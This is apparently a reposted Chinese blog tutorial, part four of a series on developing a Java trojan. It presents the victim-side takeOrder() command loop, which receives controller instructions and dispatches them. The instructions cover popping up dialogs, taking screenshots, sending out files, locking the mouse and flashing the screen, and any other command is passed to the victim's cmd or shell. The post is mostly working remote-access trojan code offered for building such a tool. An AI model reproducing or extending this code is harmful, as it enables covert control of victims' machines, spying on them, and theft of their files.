java 木马开发(4)---服务端 ---接收指令函数takeOrder()

来源:互联网 发布:网络杀毒软件有哪些 编辑:程序博客网 时间:2024/06/02 16:17

本函数是核心函数,用来接收控制端自定义的命令,如果不符合自定义命令,则windows将会调用被控制端cmd,linux调用被控制端shell



//不断的循环接收控制端传来的指令,并根据指令进行判断,到达不同的控制流

    void takeOrder() {
        while (true) {
            
            try {
                commendString = dis.readUTF().trim();
                //如果前缀是exit 则退出while循环  关闭输入输出流
                if (commendString.startsWith("exit")) {
                    end = true;
                    dis.close();
                    dos.close();
                    break;

                }
            } catch (IOException e) {
                //接收指令发生异常时,则退出while循环  关闭输入输出流
                System.out.println("leave");
                end = true;
                try {
                    dis.close();
                    dos.close();
                } catch (IOException e1) {
                    // TODO Auto-generated catch block
                    e1.printStackTrace();
                }

                break;
            }
           //判断接收的指令  如果是以-d youarehacked 开头,服务端会弹出一个对话框,
            if (commendString.startsWith("-d ")) {
                
                
                                                            
                    try {
                        commendString = commendString.substring(3);
                    } catch (Exception ee) {
                        continue;
                    }
                    showDialog(commendString);//弹出一个对话框函数
                

    



       } else if (commendString.startsWith("-p")) {//如果命令是以-p开头,调用被控制端屏幕被截屏

                sendPic();   //截屏函数
            } else if (commendString.startsWith("down ")) {// 如果命令是以‘down ’开头,调用下载函数
                String strFile = commendString.substring(5);
                
                File file = new File(strFile);
                // File file = new File("e:\\a.txt");

                if (file.isFile())

                    downFile(strFile);//下载函数

            } else if (commendString.startsWith("-m ")) {// 如果命令是以‘-m ’开头,则被控制端机器鼠标被锁住
                try {
                    commendString = commendString.substring(3);
                } catch (Exception ee) {
                    continue;
                }
                mouseLock(commendString);  //鼠标锁住函数
            } else if (commendString.startsWith("-flash")) {  //如果命令是以‘-flash’开头,则被控制端机器闪屏
                try {
                    commendString = commendString.substring(6);
                } catch (Exception e) {
                    commendString = "";
                }
                new Flash(commendString); //闪屏函数
                //当前面判断没有执行时,windows将会调用被控制端cmd,linux调用被控制端shell
            } else {
                shellExe(commendString);  
            }
        }
    }
0 0